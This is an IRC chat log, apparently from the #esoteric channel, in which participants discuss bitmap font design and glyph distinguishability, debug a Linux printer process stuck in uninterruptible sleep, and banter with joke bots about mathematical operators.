19:28:40 <lifthrasiir> but if it messes up with terminals (e.g. failed to detect mostly-dual-width fonts) it is a problem
19:29:04 <\oren\> unsigned widthranges[] = {0x2e80,0xA63f, 0xac00,0xd7ff, 0xf900,0xfaff, 0xff00,0xff60, 0xffe0,0xffe7};
19:29:11 <b_jonas> lifthrasiir: yes, and with the latin letters, I do care about them
19:29:34 <b_jonas> I see you have support for some cyrillic and greek letters
19:30:16 <b_jonas> but fewer latin letters so far than what I have in my font
19:30:59 <lifthrasiir> I've worked on cyrillic and greek letters first to check problems from multiple different (but similar) scripts
19:31:09 <b_jonas> lifthrasiir: sure, makes sense
19:31:32 <lifthrasiir> haven't thoroughly drawn all characters :)
19:31:36 <b_jonas> and it's not like the font is final anyway. I haven't started with all characters ready either, I've added them in many passes, and occasionally corrected some existing characters
19:32:18 <lifthrasiir> I did so, combining characters are so painful to get it right
19:32:44 <\oren\> oh, the extra-cute o and u are from ungarian, I see
19:33:50 <b_jonas> This one seems already quite usable to render text in some languages, and looks nice and clean.
19:34:53 <\oren\> yeah, what timeframe do we have to a bdf or ttf version?
19:35:24 <b_jonas> lifthrasiir: are you planning to eventually add more latin letters, and the lowercase serbian letters?
19:36:03 -!- quintopia has set topic: The international hub for esoteric fontface design and deployment. | /ɛ̃ˈglɪʃ spɛˈliŋ ʀɘfɔʀm/ | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://esolangs.org/.
19:37:34 <b_jonas> lifthrasiir: how about more latin-cyrillic-greek punctuation, such as “„”‘’»« quotation marks, … ellipsis, flipped question mark and flipped exclamation mark, etc?
19:37:37 <\oren\> vim is esoteric for developing anything
19:38:28 <lifthrasiir> b_jonas: were the next glyphs to work with (font-punct.txt), delayed by PNG renders
19:39:35 <b_jonas> lifthrasiir: your ~ tilde character looks strange to me, with the sharp tips
19:41:09 <b_jonas> lifthrasiir: no, the bitmap one
19:42:11 <b_jonas> lifthrasiir: and just like with the latin letters, that – and — are doublewidth will cause problems in a terminal
19:44:21 <int-e> \oren\: I meant the be should be tall
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19:45:56 <lifthrasiir> b_jonas: currently I have four classes for dash(-like) characters, 5/6/7/8 pxs wide each ("figure dash", "hyphen", "dash", "horiz. line")
19:46:31 <lifthrasiir> I didn't think the em-dash is like horiz. line so I went with a double-wdth dash instead (which is 8+7 px wide)
19:47:02 <lifthrasiir> but may go back to the horizontal line if it causes a problem
19:47:34 <b_jonas> lifthrasiir: I don't really know what the best would be here
19:48:31 <b_jonas> lifthrasiir: my font and oren's font are fonts for programming or proofreading, so they try to distinguish characters that are similar by giving them a different appearance, especially when one of them is an ascii character or when the two can often occur in the same context.
19:49:01 <b_jonas> So in my font, the – has a bump below, the — has two bumps below, and other hyphens are distinguished too in some way.
19:49:24 <lifthrasiir> interesting. I do that to some extent but haven't been perfect so far.
19:49:46 <b_jonas> Yes, your font definitely doesn't seem to be doing this, except that it has a slashed zero.
19:50:24 <lifthrasiir> (I did some work to distinguish zero from ø though)
19:50:55 <b_jonas> A problem like that was the last straw why I started my font: I misread the hexadecimal number 9B as 98 (or backwards, I'm not sure), and got enough of all the problems with confusable characters
19:51:17 <b_jonas> a font for iso-8859-2 at first only, but later I expanded it with more characters.
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19:51:26 <lifthrasiir> is there a sample for your font? thinking about that, I haven't seen that yet.
19:51:46 <b_jonas> I'll have to make a sample. I was lazy and haven't made one yet, but want to show it often so I should.
19:52:02 <b_jonas> I'll report back if I made one.
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19:53:51 <lifthrasiir> another instance of similar and distinguished glyphs: 3, cyrillic ze, cyrillic e
19:54:57 <b_jonas> lifthrasiir: yes, or latin T, cyrillic, and greek. this occurs more for capital letters, but still happens with lower case.
19:55:25 <b_jonas> lifthrasiir: also punctuation like ,. ;: ({[< but it seems you already drew those well
19:55:35 <lifthrasiir> I was experimenting with making greeks semi-serif, not sure about cyrillics though
19:55:55 <b_jonas> lifthrasiir: also I want easy to distinguish accented latin letters, so I draw the accents large and visible, but that can be hard for some letters in a cramped space
19:56:24 <b_jonas> lifthrasiir: some serifs can help, but for some letters, especially o, it's really hard to do anything
19:56:36 <\oren\> I put the double accents side by side
19:56:38 <b_jonas> lifthrasiir: not really double accents. I don't have vietnamese support (yet)
19:57:04 <\oren\> or on top depending on what fits
19:57:04 <b_jonas> lifthrasiir: but just accents on some capital letters, esp. ő vs Ő
19:57:19 <b_jonas> so I have a small dot in some capital letters to distinguish them from lowercase versions
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19:58:02 <\oren\> whereas, my accented capitals use the small-cap versions of the capitals
19:58:41 <b_jonas> other possibilities would be to make the accent touch the capital letter, to make the accent touch the descender of the letter above.
19:59:14 <\oren\> I have a lot of touching ascenders and descenders
19:59:15 <b_jonas> but even this can be difficult because try to make the accent touch the letter in Ú and make it not look sort of like an Ó
19:59:32 <b_jonas> \oren\: yes, but your font is 16 high, mine is 20 high. that's a BIG difference
20:00:01 <b_jonas> the four pixels height and one or two pixels of width really add a lot to readability
20:01:19 <\oren\> I think that's my most cramped accented charatcer
20:01:56 <lifthrasiir> b_jonas: I've updated the font sample, tried to distinguish three circle-shaped letters. please see if they are really distinguished from each other :)
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20:03:41 <b_jonas> \oren\: dunno. most double accented characters are used by Vietnamese or in IPA or similar phonetic transcriptions, AFAIK, but perhaps some rarely seen (by me) African or American languages also use such things.
20:03:48 <lifthrasiir> I've adjusted the roundness of circles to give different glyphs. latin is less round, cyrillic is more round, greek is asymmetric and looks like slightly slanted (like scripts).
20:04:47 <b_jonas> lifthrasiir: you may want to adjust your lowercase sigma though
20:05:57 <b_jonas> also, this gets worse once you want more crazy characters like the apl big circle, the bullet circle, etc.
20:06:11 <b_jonas> there are TONS of characters that are just circles, in various different sizes
20:06:20 <\oren\> I gave up on that with the symbols
20:06:38 <b_jonas> \oren\: sure, as long as you make them clearly distinguishable from ASCII it's fine really
20:06:38 <\oren\> some are probably the same
20:06:42 <lifthrasiir> well, we have different colors of books anyway :)
20:07:21 <b_jonas> \oren\: and of course APL small circle in the middle must not look the same as APL big circle, because those can both occur in most variants of APL, but that's about all
20:07:43 <b_jonas> 0 versus O versus o versus everything else is the most important
20:08:03 <b_jonas> lifthrasiir: and yes, I think your circles are good now
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20:08:45 <b_jonas> three different T can also be difficult. *two* are easy, but three is tricky
20:09:48 <b_jonas> lifthrasiir: anyway, I find your font nice, but the accents are tiny and so sometimes hard to distinguish from each other, but that's difficult to do well in such a small space
20:10:50 <b_jonas> I actually have a non-free 16x9 font I used to use for VGA text console, which covers only iso-8859-2. It's non-free because
20:11:16 <lifthrasiir> I don't like that too, but it's already hard to distinguish caron/circumflex from breve/inverted breve
20:12:12 <b_jonas> I made it from mixing together three different 16x9 VGA text mode fonts from video cards or bioses, plus a free one or two, plus modified some characters by hand, but there's still enough of one of the original non-free fonts unmodified in there that I can't consider it unambiguously free.
20:14:21 <b_jonas> lifthrasiir: and it will get harder when you'll want úüűÚÜŰ or ÈÉÊË mutually distinguishable, because those sets occur together in a single language
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20:15:24 <b_jonas> lifthrasiir: wait, do you live in the UK or something?
20:16:20 <b_jonas> I mean, you have ẂẀ, and one of those are used by only Welsh I think, and very rarely even there.
20:16:56 <b_jonas> It's strange that you have that particular character when you otherwise have slightly fewer latin letters than my font in the current version.
20:17:12 <lifthrasiir> generally I've worked through a list of pre-combined characters
20:17:29 <b_jonas> Although now that I look at it, you have A with double grave accent, which is I think even crazier
20:17:50 <b_jonas> double grave accent is used only in some really obscured african or american language rarely written or something
20:19:18 <b_jonas> I mean, I currently have six pairs of latin letters I want to add, and eventually I might try to add Vietnamese, although frankly that needs a higher character cell or a font with different shapes in this character cell,
20:20:07 <b_jonas> but such a strange letter as A with double grave accent is not in my todo list, not even after I add cyrillic or _sane_ looking greek letters
20:20:49 <b_jonas> (The greek letters I currently have are basically ugly stubs, barely usable to read short maths formulas people sometimes type in IRC.)
20:21:10 <b_jonas> (I added them in a hurry when I added some common maths punctuation.)
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20:24:25 <b_jonas> lifthrasiir: I mean, oren has A with double grave, but he has like tons of characters, so it's not so strange there.
20:28:42 <lifthrasiir> phew, re-adjusted almost every greek letter
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20:31:12 <b_jonas> lifthrasiir: the lowercase sigma still doesn't look like a sigma to me. shouldn't it have a bigger hook on the top right?
20:31:20 <b_jonas> so that it's more readable
20:33:10 <lifthrasiir> how about final sigma? seems a bit wide to me.
20:34:18 <\oren\> hashtag real_letters_have_curves
20:34:31 <b_jonas> As for óöőÓÖŐúüűÚÜŰ, the problem is that not only they have to look distinct from each other, but also from õÕûÛ and even ôÔ,
20:36:01 <b_jonas> because õÕûÛ often occur instead of őŐűŰ from technical problems when people have only iso-8859-1 or cp1252 accessible or they declare character encoding wrong instead of iso-8859-2 or cp1250, and before that ôÔûÛ could similarly occur with cp437-derived character sets (cp437, cp852, cp850, CWI, etc)
20:39:53 <lifthrasiir> okay, I think double graves are clearly distinguished from graves now
20:41:49 <b_jonas> graves weren't involved here. That's French, with its eacute and egrave.
20:42:51 <b_jonas> Even today in 2015 (supposedly the Future) I sometimes see the õÕûÛ problem pop up in new webpages, emails, other electronic documents, and printed labels.
20:43:45 <\oren\> kings, nations, come and go, but bugs are forever.
20:45:02 <b_jonas> There's also other, more obvious mangled representations, namely utf8 ő mixed into iso88592 á, double-utf8 ő in utf8 text (which occurs when the previous is converted from iso88592 to utf8), question marks, or (this is the funniest) QPqp in this order instead of őŐűŰ, which is from the high byte missing from utf16.
20:45:14 <lifthrasiir> hmm, diaeresis is still not very distinguished from double acute
20:45:30 <b_jonas> If you see Q in Hungarian emails, that's why.
20:45:38 <b_jonas> And this is only when they get áé right.
20:45:51 <b_jonas> There are of course tons of text that get basically everything non-ascii wrong,
20:46:28 <b_jonas> including the names of some businesses in bank statements which is horrible because they're already all uppercase and truncated to a small field width.
20:47:26 <b_jonas> And, very often, mail or package labels printed in the far east, who assume everyone is like the US postal service who insists on only uppercase ascii letters and digits with no punctuation.
20:47:45 <lifthrasiir> I think now óöőÓÖŐúüűÚÜŰõÕûÛôÔ are distinguished to some extent.
20:48:00 <lifthrasiir> revised diaeresis to make it a bit smaller
20:48:35 <b_jonas> (Oh, and yes, à instead of á is also a mistake that occasionally occurs, but mostly on labels rather than digital representation I believe.)
20:48:56 <HackEgo> 1226) <oren> when i was a kid it used to snow on christmas eve. what is this "freezing rain", "sleet" crap? <vanila> yeah seriously, who is evn in charge anymore? <oren> apparently not santa claus <zzo38> Santa Claus is dead by now. \ 1227) <{\[oren]|}> ｚｚｏ３８：ｉｔ ｗｉｌｌ ｃａｕｓｅ ｐｒｏｂｌｅｍｓ ｂｙ
20:48:58 <HackEgo> 1226) <oren> when i was a kid it used to snow on christmas eve. what is this "freezing rain", "sleet" crap? <vanila> yeah seriously, who is evn in charge anymore? <oren> apparently not santa claus <zzo38> Santa Claus is dead by now. \ 1227) <{\[oren]|}> ｚｚｏ３８：ｉｔ ｗｉｌｌ ｃａｕｓｅ ｐｒｏｂｌｅｍｓ ｂｙ
20:49:11 <HackEgo> 57) <fungot> ehird: every set can be well-ordered. corollary: every set s has the same diagram used from famous program talisman with fnord windows to cascade, someone i would never capitalize " i" \ 104) * Phantom_Hoover wonders where the size of the compiled Linux kernel comes from. <cpressey> To comply with the GFDL, there's a copy of Wikipedia
20:49:11 <fungot> HackEgo: yea which system run fnord to get the variables' values can be denoted by nouns, properties by verbs, and functions aren't macros.
20:49:18 <b_jonas> (I think that's when they're using some fancy designer font that has à for italian but not á, or clueless people using pre-cut etiquettes or templates.)
20:49:21 <HackEgo> 1) <Slereah> EgoBot just opened a chat session with me to say "bork bork bork" \ 5) <Quas_NaArt> His body should be given to science. <GKennethR> He's alive :P <GreenReaper> Even so. \ 6) <oerjan> what, you mean that wasn't your real name? <Warrigal> Gosh, I guess it is. I never realized that. \ 14) <fungot> oerjan: are you a man, if there weren
20:49:22 <fungot> HackEgo: non-optional infinite recursion because you don't use
20:49:48 <b_jonas> (And you can't help on those labels by fixing this font.)
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20:50:06 <lifthrasiir> b_jonas: http://cosmic.mearie.org/img/20151129-unison-similar.png
20:50:21 <zzo38> I have a process that is labeled "[systray.py] <defunct>" how do I kill that process?
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20:50:49 <b_jonas> lifthrasiir: looks nice, wait a minute I'll look at the bitmap
20:51:20 <lifthrasiir> (the render above should be the same to the bitmap rendering, it has a subpixel rendering turned off)
20:51:21 <b_jonas> ais523: we're looking at lifthrasiir's hybrid bitmap vector font
20:51:21 <zzo38> b_jonas: I tried that and nothing happened; it won't kill the parent either
20:52:10 <b_jonas> zzo38: what's the status of the parent?
20:52:13 <lifthrasiir> yeah, 8x16 for most cases, 16x16 for CJK and many symbols (I think), may be wider for ligatures etc.
20:52:46 <b_jonas> zzo38: does the parent have the same real UID as you, and is it stopped, waiting, running, waiting uninterruptible, defunct?
20:52:55 <b_jonas> and possibly what process is it, and it's not init right?
20:53:05 <zzo38> The status of the parent is D+ and the status of the child is Zs
20:54:05 <lifthrasiir> Zs is a zombie and a session leader, but what the hell is D+?
20:54:11 <b_jonas> in case it complains about some broken hardware (like unreadable hard disk) which could annoy old kernels a lot (and can still can if you have swap on it, but that's understanible)
20:54:53 <lifthrasiir> ah, Linux seems to have one more code for "uninterruptible sleep"
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20:55:05 <b_jonas> lifthrasiir: so tiny dots close to each other in diaresis, thick everything else? interesting choice, might be a good idea for a 16 high font
20:55:38 <b_jonas> I mean tiny dots close to each other, thick acutes and grave and double acute, thin circumflex and tilde
20:55:49 <zzo38> I also have two processes owned by "lp" with status code "D"
20:56:04 <b_jonas> zzo38: can you check the kernel logs for suspicious messages?
20:56:10 <zzo38> Which are documents I was trying to print and canceled
20:56:38 <b_jonas> zzo38: do you use NFS? and what kernel is this?
20:56:51 <zzo38> It contains things like "INFO: task hp:12678 blocked for more than 120 seconds" and so on in dmesg
20:57:53 <b_jonas> lifthrasiir: also tricky, make Đ (Serbian latin) and Ð (Icelandic) distinguishable. They look the same in readable fonts, and don't occur in the same language.
20:59:51 <b_jonas> lifthrasiir: and another tricky one is of course making lĺľI|¦ distinguishable from each other, and the other several characters that are just vertical line at least distinguishable from l|
21:00:15 <b_jonas> for lĺľI occurs in the same language, and | is ascii
21:00:49 <b_jonas> lifthrasiir: oh by the way, doesn't your | look too similar to some line drawing character?
21:01:13 <b_jonas> a rare one, mind you, because few people use the thick line drawing characters, but still, | is ascii
21:01:41 <HackEgo> 284) <oklopol> esperanto is just spanish with a diarrhea \ 1251) <oren> I'm making a new font. I'm up to the capital E with diarhea
21:02:04 <b_jonas> I have | broken, but that's because the style of my font is seriously influenced by the style of some 16x9 VGA fonts.
21:02:16 <lifthrasiir> | is still frequently used for making a connected line, so it would be very hard
21:02:46 <lifthrasiir> (for what matters, some glyphs are intentionally made similar to drawing characters to make them compatible)
21:02:58 <b_jonas> lifthrasiir: sure, in ascii art, but - also is used that way and so is / and \
21:03:24 <b_jonas> I wouldn't shape ascii characters to look good for that
21:03:37 <zzo38> It says "D" is uninterruptible sleep (usually IO), and that + means foreground process group.
21:03:41 <b_jonas> ascii art has limitations, and if that's bad, then well you just shouldn't use ascii art
21:04:28 <b_jonas> zzo38: does the kernel log also have something about some device or disk or nfs or swap or something?
21:05:09 <b_jonas> I mean, if you want better looking terminal arts, then there are line drawing characters for that, both ones you have and ones you don't yet have.
21:05:49 <b_jonas> lifthrasiir: oh, some of your ambiguous line drawing characters are narrow and some are wide? funny
21:05:55 <zzo38> Yes, something about "scsi_eh_8" and about "hp"
21:06:01 <b_jonas> lifthrasiir: as in, the lines are narrow and the blocks are wide
21:06:13 <b_jonas> or are the line ones not ambiguous width? I don't know how this works
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21:06:42 <b_jonas> zzo38: oh, then I suggest you try to figure out what this scsi_eh_8 thing is
21:06:51 <b_jonas> and especially what swap or file system you have on it
21:07:22 <lifthrasiir> b_jonas: not a hard thought, I can change it anytime
21:07:31 <zzo38> The problem though seems to be something related to the printer instead
21:07:44 <b_jonas> lifthrasiir: also, I _suggest_ you make B different so you don't fall into the hexadecimal trap that I did
21:07:51 <b_jonas> lifthrasiir: B and 8 must look different somehow
21:08:15 <zzo38> How can I get rid of the uninterruptible sleep?
21:08:19 <b_jonas> zzo38: possible. how is the printer connected? is it plain parallel port, or through usb, or something else?
21:09:17 <b_jonas> zzo38: if the parent process dying doesn't help, then it's hard. getting rid of the broken device (eg. of a floppy with bad sectors) can sometimes help, but sometimes that's just not an option.
21:09:28 <b_jonas> zzo38: what if you disconnected the printer?
21:09:42 <b_jonas> physically disconnecting that is
21:09:59 <b_jonas> it might not help if the problem is in the controller or the motherboard, but worth a try
21:10:15 <zzo38> That didn't affect anything
21:10:18 <b_jonas> if the controller is an external usb dongle you can pull, then I suggest trying to pull that too.
21:10:38 <b_jonas> or is this direct usb to the printer, rather than a parallel or serial port on usb?
21:10:55 <zzo38> Two processes appear that are print jobs that I have canceled, those also say "D"
21:10:57 <b_jonas> oh, and wait a minute or two after disconnecting something, of course
21:11:06 <b_jonas> waiting can help with a lot.
21:11:12 <zzo38> The printer is directly USB
21:11:17 <lifthrasiir> b_jonas: that would be great, but I'm out of idea. it is hard to make round corners rounder because that actually results in straight lines (in bitmaps).
21:11:41 <b_jonas> zzo38: can you check if the machine is perhaps busy swapping, or very busy with cpu work?
21:12:04 <zzo38> It also has "/lib/udev/udev-configure-printer add /devices/pci0000:00/0000:00:1d.7/usb2/2-4/2-4:1.0" with status "Ds"
21:12:05 <b_jonas> lifthrasiir: I just put serifs on the left side of B and D and serifs on I
21:12:12 <zzo38> The system load average is currently 605%
21:12:31 <b_jonas> lifthrasiir: isn't B8 more important than greek? hmm
21:12:38 <zzo38> (It isn't usually this high; when I started having the problem it increased to this high)
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21:13:00 <lifthrasiir> anyway, I'll try but don't expect the affirmative :p
21:13:05 <b_jonas> lifthrasiir: you could try the middle of the B or of the 8 different shaped if you want
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21:13:32 <b_jonas> zzo38: you may have to ask some linux admin guys (if this is linux)
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21:14:04 <b_jonas> I'm not really an admin, so I might not be able to help, and I don't know enough about linux either.
21:14:33 <b_jonas> zzo38: is it an old kernel?
21:14:37 <zgrep> Printers are evil beasts. I recommend defenestrating them as soon as possible.
21:14:55 <zzo38> I was trying to execute the "hp-info" program and that caused the problem
21:14:58 <b_jonas> zgrep: there was also something about scsi. that worries me.
21:15:04 <zzo38> Now it has the "D+" status
21:15:21 <b_jonas> oh, it's HP too? doubly evil
21:15:28 <zgrep> Dangerit'sabouttoexplode+?
21:15:34 <zzo38> This printer includes a virtual CD-ROM drive (although I am not using that function)
21:15:40 <zzo38> Also, this printer worked fine before!
21:15:48 <lifthrasiir> b_jonas: oh, I seem to have found a solution: narrower 8.
21:16:24 <b_jonas> lifthrasiir: careful so it doesn't clash with & then
21:16:40 <lifthrasiir> (switching from bdP9 to /\ and back forth)
21:16:52 <lifthrasiir> my & has a completely different shape so I think it's fine
21:17:10 <b_jonas> zzo38: whether it's a hardware problem or a software one, you may have to prepare candles, an altar or pentagram with runes, and sacrifical animals soon.
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21:19:25 <zzo38> I doubt that will help
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21:20:14 <b_jonas> I think scsi debugging involves sacrificing goats, or something, but if the USB is the problem then that might be different.
21:22:14 <zzo38> I will try to reboot
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21:22:38 <b_jonas> yes, rebooting definitely often helps
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21:40:23 <lifthrasiir> b_jonas: I have changed some cyrillic glyphs to make it more distinguishable
21:40:52 <lifthrasiir> some remained but I should be able to figure out
21:41:00 <b_jonas> lifthrasiir: I'm not looking right now, because I've finally started adding the few missing characters to my font now (I just added Ẽ),
21:41:13 <b_jonas> and then I might try to make a demo page, or not, I dunno.
21:41:36 <b_jonas> But I'll still be interested in this later, especially if you make BDF and OTF versions and PDF demos.
21:42:27 <zzo38> Can they be compile also into PK format?
21:42:47 <b_jonas> zgrep: who is they, and what is PK format?
21:42:54 <HackEgo> mH,2%y5ml22+w9g'ȍ3AjEk.9D><|eK±{2s_e \ wuNrQg?q&_)Iw{:'/3c/.8@ı3cm3Ѯ3s}0jcia>u*˯~\wC!yY[-W"v#R
21:43:25 <b_jonas> `` openssl rand -base64 80
21:43:25 <HackEgo> WARNING: can't open config file: /usr/lib/ssl/openssl.cnf \ 3y/6DAtAqnasX+dZdgziYWGy9r4jJ02S0Sa5jyYTiyaIrMKx4DCk4eRk3LpnG7VM \ Vq0Vt6nj/qPEVw++qbFHjjGrBsYT/j46sWstkl+lQcs=
21:43:46 <\oren\> BDF is possibly the easiest, and I can convert from BDF to ttf using my tools
21:44:01 <b_jonas> \oren\: yes, but he has vector characters too
21:44:05 <tswett> `run echo 'echo $(base64 /dev/urandom | head -c 12)' > bin/mkpasswd
21:44:10 <tswett> `run chmod +x bin/mkpasswd
21:44:26 <tswett> This command generates passwords that work well.
21:44:28 <b_jonas> \oren\: wait, do you convert from bdf to proper _bitmap_ ttf, or to vector-only ttf?
21:44:31 <zzo38> PK format is a packed raster font format used by many DVI reading programs
21:44:49 <zzo38> It is meant for printer fonts
21:44:52 <tswett> Melvar: does your client beep whenever a certain byte is sent?
21:45:08 <Melvar> tswett: No, but the terminal window of idris-bot does.
21:45:50 <\oren\> it's a vector containing nothing but vertical and horzontal lines
21:46:07 <b_jonas> Melvar: my terminals have bell turned to visual bell, and also, my bot escapes non-ascii characters in its debug output.
21:46:20 <b_jonas> also escapes control characters, and the escape character
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21:46:30 <Melvar> Well, it’s visual bell, but I get a notification on my other screen.
21:46:45 <b_jonas> well, I suggest escaping some characters in the log
21:46:54 <Melvar> I don’t have control of that.
21:50:22 <b_jonas> ok, so how the heck is a hook above supposed to look like in the style of my font?
21:50:37 <b_jonas> let's try this. it's ugly, but distinguishable I think
21:51:00 <b_jonas> I'll have to check it next to all other accents, including the rare ones
21:51:23 <zzo38> You do not necessarily have to optimize the packing since you can use pktogf and gftopk to repack it
21:52:36 <b_jonas> Is there a separate character for hook above standalone, not combining, just like how ´ and ˇ are standalone versions of accents?
21:54:43 <HackEgo> [U+02BF MODIFIER LETTER LEFT HALF RING]
21:55:45 <b_jonas> \oren\: do you mean ʾ ? no, that's not it.
21:55:56 <b_jonas> that looks similar, but it's not the same thing
21:56:45 <b_jonas> wait a minute, maybe the combining version links to it
21:56:54 <HackEgo> man: can't open the manpath configuration file /etc/manpath.config
21:57:49 <b_jonas> \x{1ea3} is a with hook, which decomposes to a\x{309},
21:59:13 <b_jonas> and \x{309} doesn't link to it, even though \x{301} combining acute accent links to \x{b4} acute accent \x{2ca} modifier letter acute accent (whatever is the difference from those),
21:59:19 <\oren\> `` ./u8tbl 0x300 0x309
21:59:55 <b_jonas> and \x{30c} combining caron links to \x{2c7} caron.
22:00:19 <\oren\> ohthose are combining ones, which I don't have
22:00:20 <b_jonas> \oren\: those are all combining letters (0 width, combine with previous character)
22:00:44 <\oren\> tho maybe I oughta add them
22:00:58 <b_jonas> \oren\: you mostly render them by precomposing it to the previous character to a unicode character and then rendering the glyph for the precomposed character
22:01:20 <b_jonas> \oren\: that sometimes fails with obscure combinations of IPA of which there are so many potential ones they're unencodable
22:01:42 <b_jonas> but for any latin script character that actually occurs in languages, there is a precomposed character.
22:01:55 <b_jonas> even for the ones used in Chinese transcriptions and the like.
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22:03:32 <b_jonas> there are probably also some cyrillic script precomposed ones, like russian i with acute (or grave? what is it that russian uses to mark stress), I dunno.
22:04:27 <b_jonas> hmm no, some of those don't seem to exist. strange.
22:04:40 <b_jonas> but maybe the ones actually used do exist.
22:04:47 <b_jonas> I don't know how russian works.
22:05:10 <b_jonas> ok, so where was I? I need a few more vowels with hook.
22:07:24 <b_jonas> easy to draw, I just take the letter with circumflex, replace the circumflex with a hook.
22:07:43 <b_jonas> that's how I had drawn many accented characters already.
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22:08:58 <b_jonas> this is the hook accent used in Vietnamese by the way
22:09:08 <b_jonas> but no, I'm not adding full Vietnamese support.
22:09:22 <b_jonas> the hook above, not the other hooks
22:13:09 <b_jonas> ok, now for the arrows with base
22:15:43 <b_jonas> and while I'm there, also ↤ and ↥↧ just in case
22:18:43 <b_jonas> ok, now let me test the letters with hooks together with other letters that might be similar (though unlikely):
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22:31:55 <b_jonas> those letter should all look pairwise different, unless I accidentally pasted the same character twice
22:32:37 <b_jonas> and yes, some of those letters are obscure and aren't important to have in your font
22:33:07 <b_jonas> they look different to me, so I can do an escape cycle
22:34:47 <b_jonas> Ok, now I need (a) to collect sample texts, (b) an automatic way to list all characters implemented in my font in a nice table for a sample, (c) an automated way to make bitmap images from these, (d) possibly an automated way to make the -tye variant of the font, which differs in the appearance of the total of two characters and I only update it by hand occasionallyi.
22:35:24 <b_jonas> none of this should be too hard.
22:35:59 <b_jonas> but that doesn't mean I'll necessarily do it all tonight.
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22:38:25 <\oren\> if your font is ttf you can use the program I made
22:39:04 <\oren\> http://www.orenwatson.be/ttfinvread.htm
22:39:15 <b_jonas> \oren\: no, it's bdf, but I can read the pcf version easily
22:39:29 <b_jonas> pcf is quite readable, and also has a specs
22:39:40 <b_jonas> bdf is a compressed form that can be converted from and to bdf both ways
22:39:52 <b_jonas> automatically with the pcftobdf program
22:40:11 <b_jonas> (it's called pcftobdf because that's the more useful direction, but it does both)
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23:47:32 <boily> fungot: tell me something coherent.
23:47:32 <fungot> boily: someone needs to model a function... it'd be like :) i probably wouldn't even recognize that orig is an alias to proc.
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23:49:57 <boily> fungot: I don't know it and I can't tell you so you will have to tell me all
23:49:57 <fungot> boily: pretty low i'd say. :p they even give assembly tickets to the winners. they all look the same. a tag check involves one more indirection ( a bit more
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23:57:12 <fungot> olsner: error in set-cdr!: pair is immutable. nothing varies.
00:03:36 <boily> that's surprisingly profound.
00:04:58 <tswett> So, let me see if I think Kripke-Platek set theory is "obviously" arithmetically sound.
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00:08:40 <tswett> Hmm. Axiom of union. Hmmmm.
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00:09:18 <olsner> how do you see what you think?
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00:13:50 <zzo38> I wanted to make up a Magic: the Gathering card with "Entwine {0}", and also there can be possibility such as noncreatures with devour, or creatures with "Devour 0", or strange effects with overload, or dash on noncreatures, and there can be other thing
00:15:31 <boily> hezzo38. what's entwine again?
00:15:44 <boily> . o O ( smooooth list of operators ♪ )
00:22:20 <zzo38> Entwine is an additional cost you can pay to choose all modes of the spell instead of just one
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00:28:59 <HackEgo> [wiki] [[List of operators]] N http://esolangs.org/w/index.php?oldid=45688 * Hppavilion1 * (+2971) Basic arithmetic
00:36:20 <HackEgo> [wiki] [[List of operators]] http://esolangs.org/w/index.php?diff=45689&oldid=45688 * Hppavilion1 * (+780) /* The operators */ Roots and logarithms
00:37:40 <tswett> olsner: by means of squirrels.
00:40:17 <tswett> So I'm pondering what a model of KPST might be.
00:40:27 <HackEgo> [wiki] [[List of operators]] http://esolangs.org/w/index.php?diff=45690&oldid=45689 * Hppavilion1 * (+74) /* The operators */ new categories, completely empty
00:40:30 <tswett> hppavilion[1]: nobody's made it.
00:41:58 <HackEgo> [wiki] [[List of operators]] http://esolangs.org/w/index.php?diff=45691&oldid=45690 * Hppavilion1 * (+82) /* The operators */ Formatting
00:42:34 <HackEgo> [wiki] [[List of operators]] http://esolangs.org/w/index.php?diff=45692&oldid=45691 * Hppavilion1 * (-74) Removed additional sections
00:44:29 <boily> Arcturian mega-operators?
00:45:11 <tswett> Man, there are so many.
00:45:29 <tswett> Integration, differentiation, convolution, Fourier transform and its buddies.
00:45:33 <tswett> Like the Laplace transform.
00:46:02 <tswett> Unary exponentiation, the famous exp(x) function.
00:46:20 <tswett> The power set operator.
00:46:36 <tswett> Inverse and composition of functions.
00:47:19 <tswett> Dot product, cross product, absolute value/norm, signum. Outer product, tensor product.
00:47:27 <tswett> Direct product, direct sum.
00:48:02 <tswett> Opposite--not the additive inverse operator, but the operator that takes an algebraic structure and returns a flipped-around version of it.
00:49:19 <tswett> `le/rn opposite/Eht etisoppo yrogetac fo a yrogetac si tsuj taht yrogetac, tub sdrawkcab.
00:50:05 <tswett> The constant-function operator.
00:50:12 <ais523> tswett: also known as mov
00:50:14 <tswett> Union, intersection, complement.
00:50:27 <ais523> mov operator ignores its right argument and returns the value of the left argument
00:50:33 <ais523> like comma from C, but with the arguments reversed
00:50:38 <ais523> err, no, same as comma
00:50:41 <ais523> it's returning its right argument
00:50:55 <ais523> "MOV a, b" means "a = a MOV b", which means "a = b"
00:51:54 <ais523> tswett: that's both beautiful and ugly at the same time
00:52:05 <tswett> Cartesian product, which is a special case of direct product.
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00:53:30 <tswett> Disjoint union, a special case of direct sum.
00:54:10 <tswett> I think Gaussian blur counts as an operator.
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00:55:22 <boily> isn't Gaussian blur a convolution?
00:57:06 <tswett> Rotation, translation, scaling, shearing, and so forth.
00:57:40 <tswett> hppavilion[1]: ^ ^ ^ there are a couple to get you started.
01:00:35 <tswett> Integration, differentiation, convolution, Fourier transform, and Laplace transform work on numeric functions and similar things.
01:00:55 <tswett> Unary exponentiation works on numbers.
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01:01:11 <hppavilion[1]> Fuzzy Ternary Logic? Value is any real number between -1 and 1?
01:01:27 <tswett> That sounds interesting.
01:01:46 <\oren\> yay I fixed the glitch in Thai
01:02:57 <\oren\> hmm but ๆ็่้๊๋์ํ๎ is still happening
01:03:19 <HackEgo> [U+0E46 THAI CHARACTER MAIYAMOK] [U+0E47 THAI CHARACTER MAITAIKHU] [U+0E48 THAI CHARACTER MAI EK] [U+0E49 THAI CHARACTER MAI THO] [U+0E4A THAI CHARACTER MAI TRI] [U+0E4B THAI CHARACTER MAI CHATTAWA] [U+0E4C THAI CHARACTER THANTHAKHAT] [U+0E4D THAI CHARACTER NIKHAHIT] [U+0E4E THAI CHARACTER YAMAKKAN]
01:05:23 <\oren\> that's not su much a bug in my font as a bug in my character lisitng program
01:05:57 <\oren\> Oh I know, I'll output a zwnbsp between each character
01:06:14 <ais523> that whole sequence of characters renders vertically in Konversation
01:06:25 <ais523> so maybe it's meant to look like that?
01:06:40 <\oren\> it is, but I don't want it to
01:06:51 <\oren\> I want to show each character on its own
